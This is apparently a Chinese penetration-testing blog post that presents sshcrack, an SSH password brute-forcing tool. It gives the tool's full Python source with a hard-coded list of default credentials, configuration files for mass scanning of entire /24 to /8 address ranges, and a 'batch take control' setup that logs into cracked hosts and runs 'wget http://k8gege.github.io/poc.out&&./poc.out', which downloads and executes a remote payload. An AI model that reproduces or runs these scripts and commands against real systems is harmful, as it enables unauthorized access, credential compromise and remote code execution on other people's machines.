0x000 前言

sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测

当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1

0x001 目录

1.sshcrack用法

2.Cscan批量扫描

3.连接SSH执行命令

4.sshcrack源码

5.SSH批量上控

6.工具下载

0x002 用法

指定SSH服务器密码检测

弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK 单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK

0x003 批量SSH服务器密码检测

以下功能可使用Ladon SshScan模块,更简单易用。

0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录

Cscan.ini内容如下

1.爆破弱口令(当前无密码或已获取多个帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test

3.Cscan扫描单个C段/B段/A段机器

cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)

4.Cscan批量IP/批量C段/批量B段扫描

新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)

以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口

不指定端口意味着ip.txt里需要填写上对应SSH端口

0x004 连接SSH执行命令

1.sshshell交互式连接

sshshell.exe 192.168.1.106 22 root toor

sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)

2.sshcmd命令行非交互式

优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用

3.渗透专版SSH连接工具GUI版

优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用

当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录

0x005 sshcrack源码

建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。

以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。

#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
try:
ssh.connect(host,port,user,pwd)
print host+' '+port+' '+user+' '+pwd+' LoginOK'
except:
pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
checkSSH(host,port,user,pwd)
elif type=='-crack':
checkSSH(host,port,'root','123456')
checkSSH(host,port,'root','cisco')
checkSSH(host,port,'root','Cisco')
checkSSH(host,port,'admin','123456')
checkSSH(host,port,'cisco','123456')
checkSSH(host,port,'cisco','cisco')
checkSSH(host,port,'Cisco','Cisco')
checkSSH(host,port,'cisco','cisco123')
checkSSH(host,port,'admin','admin')
checkSSH(host,port,'root','Admin')
checkSSH(host,port,'root','toor')
checkSSH(host,port,'root','Admin123')
checkSSH(host,port,'root','system')
checkSSH(host,port,'root','system123')
checkSSH(host,port,'root','System')
checkSSH(host,port,'root','System123')
checkSSH(host,port,'root','Admin123!@#')
checkSSH(host,port,'root','root123!@#')
checkSSH(host,port,'root','root2019')
checkSSH(host,port,'root','root2018')
checkSSH(host,port,'root','root2017')
checkSSH(host,port,'root','root2016')
checkSSH(host,port,'root','root2015')
checkSSH(host,port,'root','root2014')
checkSSH(host,port,'root','root2013')
checkSSH(host,port,'root','root2012')
else:
checkSSH(host,port,user,pwd)

0x006 Linux批量上控

通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)

ip.txt内容  格式: IP 端口 用户 帐密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

Cscan.ini内容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

0x007 工具下载

https://github.com/k8gege/sshshell

https://github.com/k8gege/K8tools

https://github.com/k8gege/K8CScan

Tip1: Python写的程序一定跨平台?

Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统

支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用

你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???

就算是只用原生包写的功能,也不能保证完全兼容

有些功能针对于不同系统需做不同的处理

Tip2: SSH连接工具详细说明

[原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH

https://www.cnblogs.com/k8gege/p/10991264.html

最新文章

  1. MySQL之浅谈MySQL的存储引擎
  2. Python入门之树莓派
  3. A Gentle Introduction to the Gradient Boosting Algorithm for Machine Learning
  4. Android 应用开发性能优化完全分析
  5. Convert Date between LocalDateTime
  6. MP3播放器的实现
  7. 终于懂了:Delphi的函数名不是地址,取地址必须遵守Object Pascal的语法(Delphi和C的类比:指针、字符串、函数指针、内存分配等)good
  8. 【论文阅读】Retrieving Similar Similar Styles to Parse Clothing(相关工作)
  9. CEC和ARC介绍
  10. asp.net 实现后台异步处理的方式
  11. java设计模式之模板模式以及钩子方法使用
  12. Eclipse lombok java
  13. Java Web服务收到请求时线程的情况
  14. Java实现带logo的二维码
  15. Docker启动一个Centos镜像
  16. linux/mac下命令行rm回收站--rmtrash
  17. python实现的、带GUI界面电影票房数据可视化程序
  18. Elasticsearch 监控插件安装(elasticsearch-head与Kibana)
  19. Extjs 分页多选的实现
  20. 253. Meeting Rooms II 需要多少间会议室

热门文章

  1. Java一致性的实现
  2. 编辑框的WM_MOUSELEAVE和WM_MOUSEHOVER使用
  3. poj2965 The Pilots Brothers' refrigerator —— 技巧性
  4. Contiki 2.7 Makefile 文件(二)
  5. 一篇文章教你如何用R进行数据挖掘
  6. CSS样式命名整理
  7. ASM磁盘组mount一例
  8. 插件_热部署_JRebel
  9. MySQL-计算7月重新激活客户第二种方法_20161022
  10. ACM学习历程—HDU1719 Friend(数论)